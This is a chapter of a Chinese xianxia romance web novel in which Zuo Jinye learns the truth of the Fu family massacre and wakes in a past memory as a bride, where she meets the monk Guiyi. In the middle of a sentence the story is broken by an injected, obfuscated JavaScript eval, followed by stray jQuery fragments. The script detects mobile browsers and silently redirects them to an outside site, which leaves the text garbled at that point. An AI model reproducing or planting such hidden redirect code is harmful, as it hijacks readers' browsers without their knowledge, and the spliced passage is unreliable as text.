12. 真相

作品:《一篇情天恨海文

    桃花酥叼着左今也的衣服下摆轻轻拖拽,有些着急地冲着草叶间的血迹吠叫。


    待左今也喘匀一口气,忙蹲下身去安抚,任由桃花酥舔舐自己的手心。


    左今也最近事忙,桃花酥被将养在后山,只有谢江尧这个闲人记得它,偶尔照拂一二。


    想了想,左今也解下腰间百灵囊,掏出赤灵果递到桃花酥嘴边,岂料桃花酥扭过头去,不肯吃。


    左今也只当它在和自己赌气,摸了摸它的脑袋:“你怎么也偷偷跑出来啦?”


    掌心间有些湿漉漉地,桃花酥轻晃了晃尾巴,以此来表达愉悦的心情。


    此时左今也还未调息恢复,精神不济,额心的灵火相印空前黯淡。


    谁也没有意料到,左今也额前的灵火相印竟恍然间落到桃花酥尾巴上。


    左今也有些纳罕地看着眼前这一幕,灵火相印灵力渐弱,桃花酥身上金光愈盛,直刺得左今也睁不开眼。


    桃花酥就在左今也面前化作一位俊美无涛的男子,广袖玉冠,言笑晏晏:“小今也,许久不见。”


    左今也指着他:“你你你,你是桃花酥?”


    男子往前走了两步,探身刮了刮左今也的鼻头:“不是我还有哪只狐狸爱吃赤灵果,你呀。”


    年轻男子叹了口气:“兔子不爱吃胡萝卜,狐狸也不爱吃赤灵果,小今也,可记好了。”


    左今也咽了咽口水,紧张发问:“你是妖吗?”


    年轻男子摇摇头:“小今也,我非妖非魔非人,至于我是什么,以后你自会知道。”


    察觉到身后傅从雪危险的气息,男人的语速加快了几分:“我不便在他人面前现身,小今也,保护好自己,莫让旁人伤到你。”


    年轻男子深深看了左今也一眼,几番犹豫,最终道:“小今也,多说一句,你身后那位,留不得。”


    说罢,灵火相印最后一簇微光也熄灭了,男子再也维持不住人形,重新化作桃花酥的模样,伏在左今也膝头。


    左今也摸了摸桃花酥的一双耳朵,低声道:“桃花酥,连你也觉得,我该杀了傅公子吗?”


    桃花酥瞪着一双水灵灵的大眼睛,并不能明白左今也在说什么。


    半个时辰过后,左今也调息顺畅,她瞥了一眼不远处依旧昏迷不醒地傅从雪,叹了口气。


    左今也拍拍草屑起身,想将傅从雪额前冷敷的帕子换下。


    岂料傅从雪倏然睁开眼,握住她的手腕,腕间的金铃铛随着动作幅度发出一声泠泠脆响。


    两人离得这般近,近到呼吸相触,左今也甚至能感受到傅从雪胸口处越发急遽的心跳。


    左今也第一次发现,傅从雪的眼睛,是淡到近乎透明的琉璃色。


    左今也情不自禁伸手,想要去触碰那双漂亮的眼睛,可是手腕却被抓得越发紧。


    “当啷”一声,袖中的匕首滑落,砸在地上,这声响清脆,二人具是一震。


    傅从雪视线下移,看到凶器的那瞬间,冷笑一声:“左今也,你最好立刻杀了我,否则过了今晚,你的生死恐怕也难料。”


    左今也闭了闭眼,索性将匕首递到傅从雪手里:“我不会杀傅公子,还望傅公子信我。”


    傅从雪讽刺地大笑起来:“左今也,在你眼中,这世上果真没有坏人吗?”


    “我是好人,你爹爹也是好人,那你告诉我,当初傅家灭门之战是怎么来的?”


    傅从雪松开左今也的手,痛到发抖的身躯不自觉地痉挛,还要从牙缝里挤出一句话:“你才见过多少人,就敢对世人妄下论断?”


    傅从雪微凉的手指划过左今也的颈骨,带起一片灼热,左今也只觉得后颈突然间剧痛。


    傅从雪用手指丈量着自己的玄灵根:“长约一点六寸,左今也,我的灵根在你体内植根十年,已经几乎要与你融为一体了。”


    左今也只觉得耳边一阵嗡鸣,她不可置信地问:“你方才说什么?”


    傅从雪一挥袖,袖中的方天水镜将十年前的回忆转化成画面呈现出来。


    四方的流火箭矢射穿傅从雪的胸膛,可他没有立即死去,玄灵根血脉让他拥有强大的自愈能力。


    他被剜去七窍琉璃心,剑骨被折成几段,玄灵根被左长老生生剥离身体,可是他依旧没死。


    傅从雪流着血,创口却在慢慢长好,他行尸走肉般向前走着,身后跟着疯狂地信众。


    他们舔舐他淌下来的每滴血液,唾液混着泥土和鲜血咽进肚中,好像那是什么灵丹妙药。


    他们垂涎欲滴望着傅从雪的身影,却看见傅从雪站住不动了。


    傅从雪转过身来,字字泣血:“今日情形,傅某铭记在心,来日,来世,必报此仇。”


    那些信众眼里闪过癫狂,只见他们一群群跪在地上,口中喃喃念着自己的心愿。


    他们当中,有一生无法修炼的废灵根;有疾病缠身的老妪;有受过傅从雪一饭之恩的屠户。


    傅从雪不忍对受蛊惑的苍生下手,只活生生忍受着被撕咬的痛苦。


    在长生不老的诱惑前,在金色玄灵根至高血脉的诱惑下,那些人一个个状若癫狂。


    仙门百家点燃了火药的引子,所有人都相信了那个残忍的谎言:分食傅从雪的血肉,便可成仙。


    人群一拥而上,茹毛饮血,再散开的时候,地上只余一具枯骸。


    傅从雪终于还是彻彻底底死了,死在人心算计之下,骨肉无存。


    一切正应了左长老那句叹息:“人心或然纯善,但是一点蝇头小利,便能激发人们滔天的恶意。”


    方天水镜里的回忆消散了,傅从雪步步紧逼:“左今也,你对当年的一切,当真毫不知情吗?”


    左今也摇摇头:“我,我记不得小时候的事情。”


    傅从雪自袖中抽出泼墨洒金折扇,冰凉的扇骨抵在左今也额前:“索性我就帮你回忆起来。”


    这道回忆术法原是向着左今也而去,岂料中途打了个转,竟落到傅从雪身上,当真奇也怪哉。


    金光落下,傅从雪囿于十年前的回忆,原地软倒下去。


    不远处的山头,一缕竹青色的衣袂一闪而过。


    左今也一时顾不上其他,着急查看傅从雪的情况。


    可就在她触到傅从雪手腕的刹那,灵识不受控地涌入傅从雪的识海——左今也以为的识海。


    地上咕噜噜滚落一颗碧绿的珠子,桃花酥重新幻化成人形模样,喃喃自语道:“三千宇宙的一隙,他们还是去到数十年前了么?”


    一阵天旋地转过后,左今也再度睁眼瞧见的却是红烛花窗,自己身披喜服,被侍女们簇拥着围坐在铜镜前。


    门外的锣鼓响了两声,仪仗队高喊着:“吉时已到——”


    门“吱呀”一声被推开了,呼呼的寒风卷进来一位胖乎乎的老妪,看穿着似乎是喜婆。


    只见喜婆腆着笑脸迎上来:“新娘莫怪,新郎官降妖除魔去了,一会便到。”


    左今也不搭话,捧起自己的新娘头面,反复端详。


    整套头面是纯金打制的,绞丝银花点作孔雀蓝色,红白二色的东珠添作花蕊,再看这身喜服打扮,贵极艳极,金红色的朱栾花刺绣铺满了整片裙摆,轻纱上用金线绣满浮凸的凤凰祥云纹样。


    看起来这新娘身份贵重,只怕也是出身修真世家。


    喜婆紧接着招呼侍女们:“还不扶新娘进屋,好好添妆。”


    左今也坐在新房中,婢女们正服侍着她上妆,铜镜里,左今也戴着那套精致的头面,身着华丽喜服,美中不足的是:她的左脸有一块硕大的胎记。


    服侍左今也的婢女有些战战兢兢地往那胎记上涂抹胭脂粉,手抖得像筛糠。


    左今也有些不明所以,直到听见窗外有下人在低声议论:“你听说没有,咱们家大小姐竟要下嫁给家仆!”


    另一个下人示意她不要声张:“若不是小姐中了魔,性情大变,脸上又长出那么一块青黑色的胎记,老爷夫人怎么舍得……”


    长舌妇最爱嚼舌根,又说起那位高攀的家仆:“据说体质特殊,能镇压小姐体内的魔气,天赋也不赖,是个难得一见的双灵根,除了是个孤儿,哪哪都好。”


    左今也还待再听几句,窗棂被小丫鬟“砰”地合上:“小姐,都是些不识趣的长工,一会我就把她们辞了去。”


    左今也叹了口气:“此处是谢家宅院吗?”


    “什么谢家?”那小丫鬟惊悚道:“小姐莫不是又糊涂了,这里自然是王家,小姐贵重无比,要嫁的可是那傅门主的亲传弟子。”


    最后一句话特意加重了语气,为的是震慑屋外的长工们。


    左今也自然也听过那些仙门事迹,晓得十年前被灭门的傅家乃是仙门顶流,当初血洗傅家,与傅家沾亲带故的小宗门也是倒霉地一个没留下,恐怕这个王家也是赫然在列。


    左今也咽了口唾沫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16002674|178302||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,试探问道:“我要嫁给傅从雪?”


    那个传说中的仙门第一天才,傅门主的亲儿子,自然也是他的亲传弟子。


    那小丫鬟摇摇头:“原本是这样,可惜傅小公子抵死不从,无法,只得换作那位裴公子。”


    大约怕自家小姐难过,那小丫鬟很快扯起一个笑脸安慰道:“小姐,我打听过了,那位裴公子和傅公子并称傅氏双骄,容貌品行都是不逊于傅公子的,您嫁过去也不委屈。”


    左今也心里却是掀起惊涛骇浪:裴忌要做她丈夫了?那个往后在江湖掀起一片腥风血雨的岁违魔君,在梦里是她要嫁的人?


    左今也忍不住打了个寒噤,噩梦委实恐怖,现在她只希望那岁违魔君是子书公子扮演的。


    后半夜偏逢暴雨,疾风骤雨刮开窗棂,一旁的小丫鬟急忙去关窗,费了点劲给窗户上了插销。


    左今也坐在喜床上,手里倒扣着半片碎瓷,她甫一清醒过来,便发现自己半点灵力不剩,只得摔碎杯盏,藏起一块瓷片自保。


    左今也琢磨不清这是什么情况,突然间,房门被人轻轻扣响。


    侍女顺着门缝往外张望,看清来客,冷了脸色:“此处婚房,不容外男猖狂。”


    门外的人听罢也不恼火,轻颂一声佛号:“阿弥陀佛,贫僧这处有礼了。雨疏风骤,贫僧化缘路过此地,想借檐下避雨片刻。”


    屋外有侍从认出那位僧人,恭敬道:“归一僧人。”


    那僧人摆摆手,并不当回事。


    雨一时半刻停不了,僧人盘着手里的菩提佛珠道:“有人生在此间,心在无间;有人生在无间,心在此间。”


    左今也拧眉,冲屋外道:“出家人不避讳男女之防,方丈何不进屋坐坐?”


    那僧人又念了一声佛号,倒也不推辞。


    雕花木门“吱呀”一声被推开,寒风卷着细细的雨丝进屋,左今也坐在喜床边,感受到一阵冷意。


    一身陈旧袈裟,一双破旧草缕,还有一根劈了叉的竹杖映入左今也的眼帘。


    左今也不禁想到那句诗:“竹杖芒鞋轻胜马。”形容得便是这般的僧人吧。


    左今也掀开覆在面上的喜帕,一旁的侍女连忙阻拦:“小姐,这不合规矩。”


    左今也摇摇头:“这场婚事便没有哪一处是合规矩的。”


    左今也示意那小侍女退下。


    房门紧闭,四处密不透风,左今也看着面前的僧人:“方丈现在可以说了。”


    归一僧人面貌看起来还很年轻,其实已经快要五百岁了。


    佛修在修真门派里极其稀少,概因为修行的功法,佛修的修为涨进极其缓慢,没有多少人能在寿元将尽前,熬到结丹期。


    修者踏入化神期,才可以做到容颜永驻。


    归一僧人维持着如此年轻的相貌,意味着他年纪轻轻便踏入化神期,如今修为恐怕早已臻入化境,深不可测。


    归一僧人青发如瀑,额心一点红痣,端得是慈悲面相,只是一双眼睛始终眯着,叫左今也以为他有什么隐疾。


    待他睁目直视左今也,左今也才惊觉僧人生着一对重瞳。


    重瞳的两个瞳孔向不同的方向转着,露出点点金光,归一僧人唇角含笑:“姑娘不属于此间。”


    左今也有些惊讶:“方丈知道此时何年,又发生了何事?”


    “此时此刻,一切尚未开始,还来得及拨乱反正。”


    归一僧人从菩提珠串尾端摘下一颗木珠,放入左今也掌心:“我和姑娘今世有缘,会相遇三次,皆是大雨倾盆之际。”


    归一僧人欲起身离开,左今也抓紧机会问道:“方丈可认识灵台山神官,子书凌?我昏迷前,他和我在一处。”


    破旧的僧袍此时也露出一点金光,好像那才是它原本的模样。


    归一僧人脚下步履不停:“生在此间之人,若是有心,自会寻到你。”


    归一僧人向外走去,竹杖轻轻点地,天地间的雨声乍然间归于寂静。


    只有廊下的更漏还在滴着水,归一僧人轻颂佛号:“愿姑娘,守得云开见月明。”


    傅从雪踩着一地零落的梨花白,和那归一僧人错肩而过,蓑笠上的水滴溅到那僧袍上,浅浅晕开。


    过往的侍从见了他,纷纷俯身行礼:“少主。”


    有风拂过,檐角挂着的铜铃发出一串脆响,傅从雪的视线被吸引过去:“这处偏房今日怎么那么多人守着?”